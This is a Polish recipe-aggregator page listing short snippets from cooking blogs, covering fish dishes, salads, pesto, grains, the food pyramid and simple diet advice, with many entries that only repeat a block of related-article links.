zboża. Największą ilość białka w tej grupie zawierają rośliny strączkowe. Eksperci wskazują, że powinniśmy częściowo zastępować nimi mięso.  Białka zwierzęce pochodzą z produktów pochodzenia zwierzęcego, takich jak mięso, ryby, jaja i nabiał.  Największa wartość odżywcza białka występuje w jajach kurzych. Na drugim i trzecim miejscu w rankingu lądują mięso i ryby.  Należy pamiętać, że w posiłkach powinny

Kuchnia MagdaLeny
Piramida żywieniowa i jej zmiany na przestrzeni czasu 46

cztery główne kategorie: Produkty zbożowe: chleb, makaron, ryż, płatki śniadaniowe i inne. Warzywa i owoce: podstawowy element diety. Mleko i produkty mleczne: m.in. mleko, jogurt i ser. Mięso, drób, ryby, orzechy, nasiona i rośliny strączkowe. W pierwszej piramidzie żywieniowej nie istniał wyraźny podział na tłuszcze, słodycze ani napoje. Kolejne wersje piramidy żywieniowej Z czasem piramida żywieniowa ewoluowała. Powstawały jej liczne(...)roku składa się z 5+1 poziomów, gdzie podstawą jest aktywność fizyczna: Warzywa i owoce – podstawowy element diety zaraz za aktywnością fizyczną. Produkty zbożowe (głównie pełnoziarniste). Nabiał. Mięso, ryby, nasiona roślin strączkowych. Tłuszcze. Oprócz stosowania się do wytycznych piramidy żywieniowej powinniśmy pamiętać, aby spożywać regularne posiłki (3-5 dziennie), ograniczać cukier i sól oraz dbać o prawidłowe nawodnienie. Więcej informacji

ProstePesto.pl
Sałatka ziemniaczana na grilla – hit każdego lata 50

Sałatka ziemniaczana na grilla to świetny dodatek do aromatycznych steków, szaszłyków, ryb czy warzyw. Warto poświęcić na nią odrobinę czasu, aby móc się nią delektować w towarzystwie rodziny oraz przyjaciół. To doskonała alternatywa dla chleba. Sprawdzi się w przypadku osób nietolerujących glutenu. Walory smakowe, wartości odżywcze oraz niska cena ziemniaków to trzy argumenty, które przemawiają za tym, aby sięgać(...)makaronowa? Sałatki na grilla to must have każdej imprezy organizowanej w ciepłe, letnie dni. Niektóre z nich można traktować jako przystawki, inne jada się jako dodatek do mięsa lub ryby. Chętnie sięgają po nie dzieci. To ciekawa alternatywa dla osób niespożywających mięsa. Mimo wszystko warto o nich pomyśleć podczas grillowania i sięgnąć po produkty wegetariańskie lub wegańskie, takie jak tofu

Ugotowane pozamiatane
Kuskus perłowy jak gotować ? 40

przed podaniem. Zastosowanie kuskusu perłowego w daniach głównych Kuskus perłowy to wszechstronny składnik, który doskonale sprawdza się w różnego rodzaju daniach głównych. Możesz wykorzystać go jako bazę dla mięs, ryb, warzyw czy nawet dań wegetariańskich. Oto kilka pomysłów na dania główne z wykorzystaniem kuskusu perłowego: Duszone warzywa z kuskusem perłowym: Przygotuj kuskus perłowy zgodnie z wcześniejszymi wskazówkami. W międzyczasie pokrój(...)gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Poszerz swoją wiedzę - przeczytaj inne artykuły o gotowaniu! Jak długo gotować mak ? Kuskus

Podstawy Gotowania
Patelnia grillowa jak smażyć ? 46

warto zachować pewne techniki, aby uzyskać najlepsze rezultaty. Oto krok po kroku, jak smażyć na patelni grillowej: Przygotowanie Potrawy: Przygotuj potrawę, którą chcesz smażyć. Może to być mięso, warzywa, ryby czy tofu. Rozgrzanie Patelni: Po odpowiednim rozgrzaniu patelni grillowej, umieść na niej potrawę. Jeśli słyszysz syczenie, to znak, że patelnia jest odpowiednio rozgrzana. Brązowe Prążki: Pozostaw potrawę na patelni(...)gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? /*! elementor - v3.15.0 - 02-08-2023 */ .elementor-widget-divider{--divider-border-style:none;--divider

Podstawy Gotowania
Jak długo piec boczek w rękawie? 48

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Kasza gryczana biała jak gotować 40

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak długo piec żeberka? 43

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak długo piec boczek? 45

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Fasolka jak gotować ? 42

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Soczewica jak gotować? 43

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Amarantus jak gotować ? 42

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak gotować quinoa? 39

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Kiszka ziemniaczana jak smażyć? 46

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Soczewica czerwona jak gotować? 35

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
fasolka szparagowa jak długo gotować 42

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Brukselka jak gotować ? 51

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Ciecierzyca jak gotować 42

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Quinoa jak gotować ? 48

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Biała kiełbasa jak gotować ? 49

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Kasza kuskus jak gotować? 47

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Kasza jęczmienna jak gotować ? 48

gotowanie na parze Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? Kasza quinoa jak gotować? Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak smażyć steki? 41

Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
kasza quinoa jak gotować 43

Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak gotować amarantus? 45

Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Rosół jak gotować? 45

Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak gotować żurek ? 43

Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Jak długo piec żeberka w piekarniku? 46

Poznaj inne artykuły: Kasza orkiszowa jak gotować? Karp jak smażyć ? Jak długo piec żeberka w piekarniku? Jak gotować żurek ? Rosół jak gotować? Jak gotować amarantus? kasza quinoa jak gotować Ryba miruna jak smażyć? Jak smażyć steki? Kasza kukurydziana jak gotować Gotowanie na parze przepisy Jak gotować flaki? Łosoś jak smażyć? Ryba jak smażyć? jak smażyć boczek Kuskus jak gotować

Podstawy Gotowania
Dania z parowaru 38

cukinia, kalafior, przyprawy. Filet z kurczaka ułóż na parowarze wraz z pokrojonymi warzywami i gotuj na parze przez około 20 minut. Podawaj z ulubionymi przyprawami. Inne zastosowania parowaru Parowanie ryb i owoców morza: Parowar idealnie nadaje się do przygotowywania ryb i owoców morza, zachowując ich delikatny smak i konsystencję. Przygotowanie deserów na parze: Parowar można wykorzystać także do przygotowywania pysznych

Podstawy Gotowania
Kamica nerkowa. Co jeść, a czego unikać? Przykładowe posiłki z bloga. 40

jednej diety idealnej dla chorych na kamicę nerkową. Sposób odżywiania zależy od rodzaju substancji, które wchodzą w skład kamieni nerkowych. złogi struwitowe Ograniczamy: nasiona roślin strączkowych, orzechy, kakao, konserwy, ryby, mięso, mleko, żółtko jaj, sery i gruboziarniste produkty zbożowe. złogi fosforanowo-wapniowe Ograniczamy: jaja, przetwory mleczne, mleko, mocną kawę i herbatę, kakao, strączki, rabarbar, szczaw, szpinak, konserwy. złogi moczanowe Ograniczamy(...)czekoladę, kakao, mocną kawę i herbatę, zupy na wywarach mięsnych, rośliny strączkowe, strączki, orzechy, wieprzowinę i niektóre ryby (sardynki, szprotki, śledzie ). złogi szczawianowo-wapniowe (to najczęściej występująca postać kamicy) Ograniczamy: produkty z glutaminianem sodu, kiszonki, szpinak, szczaw, rabarbar, mocną kawę i herbatę, czekoladę, gotowe dania, konserwy. Przykładowe posiłki dla osób z kamicą nerkową kokosowa kasza jaglana, sałatka z zielonym ogórkiem

Natka Pietruszki
Gorąco na Korfu 46

moich starań, aby to danie jak najbardziej przypominało oryginalne kolokythokeftéthes znajdziecie we wpisie na greckie kuleczki cukiniowe . Nie omieszkałam zjeść chrupiące kalmary. Czekałam na nie cały rok. Spróbowaliśmy też rybę miecz w postaci grillowanych kotletów. Coś pysznego! Spędzając wakacje w nadmorskich miejscowościach jemy przeważnie ryby i owoce morza. Restauracje, które my odwiedzamy serwują dania z porannego połowu. Inna restauracja, która

codojedzenia
Sos tatarski 50

majonezowy sos jest idealny do ryby oraz innych dań. Nie wyobrażam sobie na przykład ryby z frytkami bez jego dodatku, bo to właśnie te ciekawe dodatki w majonezie robią ten świetny smak całego dania. Ja sos tatarski lubię dodawać także na kanapki z wędliną czy z tuńczykiem, obowiązkowo podaję go także do kotletów serowych oraz czasem do dań mięsnych. Następnym

nietylkopasta.pl
Dorsz pieczony z porami 31

tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść grejpfruta(...)Pora kroimy w półplasterki i smażymy do miękkości. Na dno naczynia żaroodpornego wykładamy usmażonego pora, kładziemy na niego filety dorsza, całość posypujemy solą i świeżo zmielonym pieprzem. Na rybie układamy plasterki cytryny. Wszystko pieczemy w 200 stopniach około 20 minut. Artykuł Dorsz pieczony z porami pochodzi z serwisu Kardamonowy

Kardamonovy
Salsa z mango i granatem 28

Zrobiona w sumie pod rybę, po prostu. Od dawna chodziło za mną połączenie ryby z owocami, trzeba było to w końcu zrealizować. Świetne połączenie, świetne. Składniki: 1 mango pół granatu 1 mała czerwona cebula pół pęczka natki pietruszki 2 łyżki oliwy extra virgin sok z połowy cytryny sól pieprz Mango obieramy, kroimy w kostkę (pamiętajcie o pestce w środku), wrzucamy

Kardamonovy
Surówka z kiszonej kapusty 41

Zupełnie nie planowałam wrzucać dziś żadnego posta, ale nie mogę się powstrzymać. Poza tym dziś piątek, pewnie w wielu domach jest ryba. A do ryby najlepsza jest ta surówka. Wczoraj (dzięki mojemu tacie) jadłam jedną ze smaczniejszych kapust kiszonych ever. Dziś zrobiłam z niej klasyczną surówkę. Jest tak smaczna, że chyba nie doczeka obiadu. Składniki: 300 g kiszonej kapusty

Kardamonovy
Pesto z natki pietruszki z kaparami i słonecznikiem 26

właściwie cały rok. Jest to jakaś namiastka moich śródziemnomorskich smakowych potrzeb. Pesto z natki pietruszki z kaparami i słonecznikiem to sos, który można użyć do wielu potraw: do makaronów, ryb, drobiu, zup. My najczęściej jemy je z makaronem i jakąś sałatą z winegretem . Do tego oczywiście jakiś ser długodojrzewający i w sumie nic więcej nie potrzeba. Tym razem pesto zjedliśmy(...)kolor – mam to przećwiczone. Przynajmniej mój blender powoduje, że pesto nie ma tak pięknie zielonego koloru, jak to robione w moździerzu. Pesto z koperku, które robiłam dziś do ryby, miażdżyłam ręcznie. Wyszło zielone jak łąka w środku lata (czy coś). Podobne przepisy: Pesto z rukoli z kaparami Pesto z czosnku niedźwiedziego Pesto bazyliowe ze słonecznikiem Pesto wegańskie z płatkami

Kardamonovy
Pączki z serków homogenizowanych 26

ktoś z niego skorzysta. U mnie problem tkwi chyba jedynie w tonie tłuszczu, w jakim pączki muszą się smażyć. Nigdy nie ogarniałam smażenia na głębokim oleju, czy to frytek, ryb czy innych mięs. I to też nie jest tak, że nie jem nigdy frytek poza domem. Jem, smażone w ten sposób, ryby nad morzem. Jednak dopóki sama nie muszę zanurzać

Kardamonovy
Surówka z kiszonej kapusty z ananasem 28

kombinowałam, kombinowałam i odpuściłam. Niektórych rzeczy się nie rusza. Parę dni temu kupiłam kiszoną kapustę do kaszanki. Klasycznie kapusty kupiłam za dużo, postanowiłam zrobić z niej surówkę do ryby. Zaczęłam ją szatkować, dodałam resztę składników (na szczęście zapomniałam dodać cukier), wymiąchałam, odstawiłam. A później zobaczyłam na blacie puszkę ananasa. I tak pomyślałam, że kiszona kapusta lubi słodkie dodatki, że ananasa(...)nikomu nic się nie stało, to jeszcze wszystkim mega smakowało. Wrąbaliśmy całą miskę, razem z Tolką. Surówka z kiszonej kapusty z ananasem idealnie sprawdziła się do pieczonego dorsza. Ryby zresztą też lubią dodatek owoców, więc to wszystko naprawdę świetnie zagrało. Dobrze, że nie dodałam cukru na początku, bo surówka chyba byłaby już dla nas za słodka. Ale pamiętajcie

Kardamonovy
Sałatka z sałatą, ogórkiem i fetą 30

będziemy jechali przecież na samych kiełbasach. Ale będzie to wszystko dość ascetyczne (przynajmniej z mojej strony). Na blogu mam niewiele konkretnych grillowych przepisów. Brakuje szaszłyków, kaszanek i innych ryb. Chciałam w majówkę to nadrobić i uzupełnić bloga. Jak jednak widzę jaka ma być pogoda, jedyne co uzupełnię to piwa w lodówce (w większości na dodatek bezalkoholowe). Jak już grillujemy(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść grejpfruta

Kardamonovy
Surówka z kiszonej kapusty z dymką 29

robiłam tę surówkę, fotografowałam, jadłam i później jej nie publikowałam. Ta ze zdjęcia została zjedzona jakieś półtora tygodnia temu. Tak, dobrze liczycie, to był piątek. Surówka była dodatkiem do ryby i ziemniaków. Nie, nie praktykujemy postów, jakoś tak po prostu wyszło. Nie wiem kto wymyślił takie połączenie, ale to jest połączenie idealne. Nic nie pasuje mi tak do ryby

Kardamonovy
Camembert z grilla 28

Dziś coś wegetariańskiego. Po dwóch tygodniach wakacji mam dość mięsa. Niedaleko nas jest facet, który ma swojskie wyroby, ciężko przejechać obok niego obojętnie. Na szczęście ma też ryby, ale nasze zakupy na samych rybach się nie kończą. W ogóle na dzisiejszego grilla kupiliśmy u niego kaszankę, ale chyba jej jednak nie wchłoniemy. Plany wieczornego grilla się trochę zmieniły, kaszanka jedzie

Kardamonovy
Sałatka z pomidorami, fetą i sosem bazyliowym 33

nieważne. I jeden i drugi sprawdzi się tak samo dobrze. Wiem. Wiem już do czego zjedliśmy tę sałatkę. Do pieczonego pstrąga. Wiecie jak to wszystko dobrze smakowało? Lekka ryba, letnia sałatka. Namawiam. Zdecydowanie. Robiąc tę sałatkę, na początku pomyślałam, że zrobię osobny post dotyczący sosu bazyliowego. Zrezygnowałam po tym, jak zupełnie nie radziłam sobie ze zrobieniem mu zdjęć. Olałam więc(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść grejpfruta

Kardamonovy
Kasza jaglana z pesto 34

przepis na kaszę jaglaną z pesto, którą zrobiłam z myślą o My. Można ją potraktować jako dodatek do obiadu, po prostu zamiast ziemniaków. Fajnie pasuje do ryb, kurczaka. Jeżeli chodzi o rodzaj pesto, nie musicie ściśle trzymać się mojego pomysłu. Rukolę możecie zastąpić natką pietruszki, jarmużem lub czosnkiem niedźwiedzim. Pestki dyni – pestkami słonecznika, orzeszkami piniowymi. Jeżeli nie jesteście(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść grejpfruta

Kardamonovy
Wegańskie pesto z rukolą i szpinakiem 27

dzisiejszego posta… do czego użyję pesto? Jeszcze nie wiem. Siądę sobie dziś wieczorem na spokojnie i coś wymyślę. Bo klasycznie świetnie sprawdzi się do makaronu, kasz, do drobiu, ryb, do klusek, sałatek, itd. Sałatki ostatnio częściej za nami chodzą, może pójdę jednak w tę stronę. Na dziś to tyle. Pojawię się tutaj znowu pojutrze. Ciao. Jeżeli ktoś(...)tych używam sporo), świeże zioła, kaszę jaglaną (jest bardzo wskazana) i gryczaną (najlepiej niepaloną), soczewicę, ciecierzycę, oleje tłoczone na zimno (oliwa z oliwek, olej rzepakowy, z wiesiołka, lniany, kokosowy), ryby, drób, pestki dyni, niektóre orzechy, sezam, makarony żytnie, orkiszowe (od czasu do czasu), brązowy ryż, mąkę żytnią. Wskazane jest używanie przypraw jak: curry, kurkuma, imbir. Z owoców można jeść grejpfruta

Kardamonovy
Sos chrzanowy 35

pewno do jajek, ogólnie do zimnej płyty, w której będzie królować wieprzowina (ojeej, do pasztetu sprawdzi się świetnie). Jak się uprzecie można ten sos dodać do przyrządzonej wcześniej ryby lub po prostu jako dodatek do potraw z grilla. Do dzisiejszego przepisu użyłam chrzanu ze słoika, ale w sezonie chrzanowym na pewno użyję świeżego. Okolice Świąt Wielkanocnych? O tak, zdecydowanie. Wrócę(...)początku kwietnia. Jeżeli chodzi o dodatki, nie kombinowałam za bardzo. Miał być chrzan, ulubiony majonez, nabiał, podstawowe przyprawy i odrobina soku z cytryny. Kiedy będę robiła ten sos do ryb, dodam do niego poszatkowany koperek. Do potraw z grilla? Może czosnek, natkę pietruszki, zobaczę. Przeszły mi teraz przez myśl także kapary. Zaraz to sobie wszystko zapiszę, żeby

Kardamonovy
Surówka z kiszonej kapusty, pora i marchewki 36

Dziś piątek, więc większość z Was zrozumie mój post. Post jako wpis, nie jako post, no wiecie. Jakoś odruchowo dość często jadamy ryby w piątki. Wczoraj wieczorem zapytałam My czy mam rozmrażać dorsza. Odpowiedź była oczywiście twierdząca. A jak ryba to oczywiście surówka z kiszonej kapusty (przynajmniej w sezonie jesienno-zimowym). I z reguły ziemniaki utłuczone na śmierć. Lubimy tego

Kardamonovy
Sztuka Keto: Odkryj 3️⃣ kluczowe zasady diety ketogenicznej dla skutecznego odchudzania 53

stanowią tutaj główne źródło energii i to właśnie z nich pochodzi zdecydowana większość kalorii . Dlatego ważne jest, aby wybierać zdrowe źródła tłuszczów, takie jak kokos , awokado , orzechy czy tłuste ryby. Wprowadzenie większej ilości tłuszczów do diety pomaga utrzymać uczucie sytości, zapewnia dostawę niezbędnych składników odżywczych i sprzyja procesowi spalania zgromadzonych tłuszczów . Dopasowane do zapotrzebowania spożycie białek Następną kluczową zasadą diety(...)organizmu na dalszych jej etapach . Białka są niezbędne do budowy i regeneracji tkanek, dlatego istotne jest utrzymanie odpowiedniego ich poziomu i wybór wysokiej jakości źródeł białka, takich jak drób , ryby czy jajka . Dodatkowo, odpowiednia ilość białka zapewnia zachowanie masy mięśniowej i wspiera regenerację organizmu oraz sprzyja procesowi odchudzania . Więcej na temat roli białka w żywieniu niskowęglowodanowym przeczytasz w tym artykule

Modern Cave Girl
Co jeść i pić, aby mieć zdrowe włosy? 55

jest składnikiem budulcowym, zawierającym aminokwasy potrzebne do odbudowy struktury włosa . Jeżeli chcesz mieć zdrowe i mocne pasma, wprowadź do swojej codziennej diety zdrowe źródła protein, takich jak nabiał, jaja, ryby, oraz produkty roślinne bogate w białko. W szczególności sięgaj po: Nabiał z dobrym składem bez dodatku cukru, taki jak: kefir, jogurt czy produkty twarogowe. Wysokiej jakości mięso, bez konserwantów. Ryby

codojedzenia
Dorsz z kurkami i kalafiorem 37

yszne danie z kurkami, rybą na pure z kalafiora. Dorsza zawinęłam w plastry boczku. Wegetarianie mogą zawinąć dorsza w liść kapusty i obsmażyć. W przepisie poniżej powiem jak to zrobić, bo wychodzi super! Albo zrobię oddzielny post. Składniki: 4 porcje polędwicy z dorsza kilka plastrów boczku lub 4 liście kapusty sól i pieprz do smaku kurki 2-3 ząbki czosnku(...)osolonej wodzie. Odcedzić i dolać 100 ml śmietanki kremówki lub roślinnej. Dodać gałkę muszkatołową i usmażony i obrany z łupin czosnek i zmiksować. Na talerz wyłożyć pure i umieścić rybę a na wierzchu układamy kurki i szczypiorek

AZgotuj!
Pasta bezrybna – wegańska wędzona pasta | DIETA 1800 KCAL 53

Wędzona pasta bezrybna to smaczna i zdrowa alternatywa dla tradycyjnych past kanapkowych. Jest doskonałą propozycją dla wegan, wegetarian, osób poszukujących nowych smaków lub tych, którzy chcą ograniczyć spożycie ryb, ale tęsknią za smakiem pasty rybnej. Przepis jest prosty i niezwykle szybki! Dieta 1800 kcal – jadłospisy na 30 dni! Wędzona pasta bezrybna to przepis, który pochodzi z eBooka „ Wegańskie(...)tłuszcze, które również są niezbędne w diecie. Nie tylko smak i wartość odżywcza są zaletami tej pasty bezrybnej. Jest to również świetna alternatywa dla osób, które chcą zredukować spożycie ryb ze względu na troskę o środowisko lub etykę. Pamiętaj, że ta pasta bezrybna to tylko jedna z wielu możliwości. Możesz eksperymentować z różnymi dodatkami i przyprawami, aby dostosować

Via Gusto
